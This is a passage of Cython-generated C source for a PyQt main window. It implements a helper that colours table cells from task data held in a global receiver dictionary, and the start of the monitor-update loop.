brush.setStyle(QtCore.Qt.SolidPattern) * i = QtWidgets.QTableWidgetItem( text ) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QBrush); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 242, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_color); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 242, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_color}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 242, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_color}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 242, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 242, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_color); __Pyx_GIVEREF(__pyx_v_color); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_v_color); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 242, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_brush = __pyx_t_4; __pyx_t_4 = 0; /* "MainWindow.py":243 * try: * brush = QBrush(color) * brush.setStyle(QtCore.Qt.SolidPattern) # <<<<<<<<<<<<<< * i = QtWidgets.QTableWidgetItem( text ) * i.setBackground( brush ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_brush, __pyx_n_s_setStyle); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_SolidPattern); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_7}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_7}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 243, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":244 * brush = QBrush(color) * brush.setStyle(QtCore.Qt.SolidPattern) * i = QtWidgets.QTableWidgetItem( text ) # <<<<<<<<<<<<<< * i.setBackground( brush ) * self.TM_T_passage.setItem(row, column, i ) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 244, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 244, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_8))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (!__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_text); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_text}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_text}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 244, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_INCREF(__pyx_v_text); __Pyx_GIVEREF(__pyx_v_text); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_v_text); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_v_i = __pyx_t_4; __pyx_t_4 = 0; /* "MainWindow.py":245 * brush.setStyle(QtCore.Qt.SolidPattern) * i = QtWidgets.QTableWidgetItem( text ) * i.setBackground( brush ) # <<<<<<<<<<<<<< * self.TM_T_passage.setItem(row, column, i ) * except Exception as e: */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_i, __pyx_n_s_setBackground); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 245, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_brush); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 245, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_brush}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 245, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_brush}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 245, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 245, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_INCREF(__pyx_v_brush); __Pyx_GIVEREF(__pyx_v_brush); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_brush); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_5, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 245, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":246 * i = QtWidgets.QTableWidgetItem( text ) * i.setBackground( brush ) * self.TM_T_passage.setItem(row, column, i ) # <<<<<<<<<<<<<< * except Exception as e: * print("in updateNonitor, setLine( self,color,%d,%d,%s)"%(row, column, text)) */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 246, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_setItem); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 246, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = NULL; __pyx_t_9 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_9 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[4] = {__pyx_t_8, __pyx_v_row, __pyx_v_column, __pyx_v_i}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_9, 3+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[4] = {__pyx_t_8, __pyx_v_row, __pyx_v_column, __pyx_v_i}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_9, 3+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_7 = PyTuple_New(3+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 246, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_8) { __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __pyx_t_8 = NULL; } __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_9, __pyx_v_row); __Pyx_INCREF(__pyx_v_column); __Pyx_GIVEREF(__pyx_v_column); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_9, __pyx_v_column); __Pyx_INCREF(__pyx_v_i); __Pyx_GIVEREF(__pyx_v_i); PyTuple_SET_ITEM(__pyx_t_7, 2+__pyx_t_9, __pyx_v_i); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":241 * def updateMonitor(self): * def setLine(self, color, row, column, text): * try: # <<<<<<<<<<<<<< * brush = QBrush(color) * brush.setStyle(QtCore.Qt.SolidPattern) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":247 * i.setBackground( brush ) * self.TM_T_passage.setItem(row, column, i ) * except Exception as e: # <<<<<<<<<<<<<< * print("in updateNonitor, setLine( self,color,%d,%d,%s)"%(row, column, text)) * print( color ) */ __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_9) { __Pyx_AddTraceback("MainWindow.MainWindow.updateMonitor.setLine", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_7) < 0) __PYX_ERR(0, 247, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_7); __Pyx_INCREF(__pyx_t_5); __pyx_v_e = __pyx_t_5; /*try:*/ { /* "MainWindow.py":248 * self.TM_T_passage.setItem(row, column, i ) * except Exception as e: * print("in updateNonitor, setLine( self,color,%d,%d,%s)"%(row, column, text)) # <<<<<<<<<<<<<< * print( color ) * print( e ) */ __pyx_t_8 = PyTuple_New(3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 248, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_v_row); __Pyx_INCREF(__pyx_v_column); __Pyx_GIVEREF(__pyx_v_column); PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_v_column); __Pyx_INCREF(__pyx_v_text); __Pyx_GIVEREF(__pyx_v_text); PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_v_text); __pyx_t_6 = PyUnicode_Format(__pyx_kp_u_in_updateNonitor_setLine_self_co, __pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyTuple_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 248, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_8, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":249 * except Exception as e: * print("in updateNonitor, setLine( self,color,%d,%d,%s)"%(row, column, text)) * print( color ) # <<<<<<<<<<<<<< * print( e ) * */ __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 249, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_v_color); __Pyx_GIVEREF(__pyx_v_color); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_v_color); __pyx_t_8 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_6, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 249, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; /* "MainWindow.py":250 * print("in updateNonitor, setLine( self,color,%d,%d,%s)"%(row, column, text)) * print( color ) * print( e ) # <<<<<<<<<<<<<< * * self.TM_T_passage.setSortingEnabled(False) */ __pyx_t_8 = PyTuple_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 250, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_v_e); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_8, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 250, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } /* "MainWindow.py":247 * i.setBackground( brush ) * self.TM_T_passage.setItem(row, column, i ) * except Exception as e: # <<<<<<<<<<<<<< * print("in updateNonitor, setLine( self,color,%d,%d,%s)"%(row, column, text)) * print( color ) */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; goto __pyx_L17; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L16_error:; __pyx_t_12 = 0; __pyx_t_13 = 0; __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_15, &__pyx_t_16, &__pyx_t_17); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_12, &__pyx_t_13, &__pyx_t_14) < 0)) __Pyx_ErrFetch(&__pyx_t_12, &__pyx_t_13, &__pyx_t_14); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __pyx_t_9 = __pyx_lineno; __pyx_t_10 = __pyx_clineno; __pyx_t_11 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_15); __Pyx_XGIVEREF(__pyx_t_16); __Pyx_XGIVEREF(__pyx_t_17); __Pyx_ExceptionReset(__pyx_t_15, __pyx_t_16, __pyx_t_17); } __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_ErrRestore(__pyx_t_12, __pyx_t_13, __pyx_t_14); __pyx_t_12 = 0; __pyx_t_13 = 0; __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_lineno = __pyx_t_9; __pyx_clineno = __pyx_t_10; __pyx_filename = __pyx_t_11; goto __pyx_L5_except_error; } __pyx_L17:; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; goto __pyx_L4_exception_handled; } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "MainWindow.py":241 * def updateMonitor(self): * def setLine(self, color, row, column, text): * try: # <<<<<<<<<<<<<< * brush = QBrush(color) * brush.setStyle(QtCore.Qt.SolidPattern) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L4_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); __pyx_L10_try_end:; } /* "MainWindow.py":240 * * def updateMonitor(self): * def setLine(self, color, row, column, text): # <<<<<<<<<<<<<< * try: * brush = QBrush(color) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("MainWindow.MainWindow.updateMonitor.setLine", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_brush); __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":239 * self.initGuiConcurrents() * * def updateMonitor(self): # <<<<<<<<<<<<<< * def setLine(self, color, row, column, text): * try: */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_34updateMonitor(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_setLine = 0; PyObject *__pyx_v_task = NULL; PyObject *__pyx_v_r = NULL; PyObject *__pyx_v_pos = NULL; PyObject *__pyx_v_q = NULL; PyObject *__pyx_v_e = NULL; PyObject *__pyx_v_tp = NULL; PyObject *__pyx_v_millis = NULL; PyObject *__pyx_v_type = NULL; PyObject *__pyx_v_color = NULL; PyObject *__pyx_v_tt = NULL; PyObject *__pyx_v_c = NULL; PyObject *__pyx_v_lap = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; Py_ssize_t __pyx_t_3; PyObject *(*__pyx_t_4)(PyObject *); PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; int __pyx_t_7; int __pyx_t_8; PyObject *__pyx_t_9 = NULL; PyObject *__pyx_t_10 = NULL; PyObject *__pyx_t_11 = NULL; PyObject *__pyx_t_12 = NULL; PyObject *__pyx_t_13 = NULL; int __pyx_t_14; PyObject *__pyx_t_15 = NULL; int __pyx_t_16; char const *__pyx_t_17; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; PyObject *__pyx_t_20 = NULL; PyObject *__pyx_t_21 = NULL; PyObject *__pyx_t_22 = NULL; PyObject *__pyx_t_23 = NULL; __Pyx_RefNannySetupContext("updateMonitor", 0); /* "MainWindow.py":240 * * def updateMonitor(self): * def setLine(self, color, row, column, text): # <<<<<<<<<<<<<< * try: * brush = QBrush(color) */ __pyx_t_1 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_13updateMonitor_1setLine, 0, __pyx_n_s_MainWindow_updateMonitor_locals, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__14)); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_v_setLine = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":252 * print( e ) * * self.TM_T_passage.setSortingEnabled(False) # <<<<<<<<<<<<<< * for task in Globals.receiver: * r = Globals.receiver[task] */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSortingEnabled); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__15, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":253 * * self.TM_T_passage.setSortingEnabled(False) * for task in Globals.receiver: # <<<<<<<<<<<<<< * r = Globals.receiver[task] * pos = task */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_receiver); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); 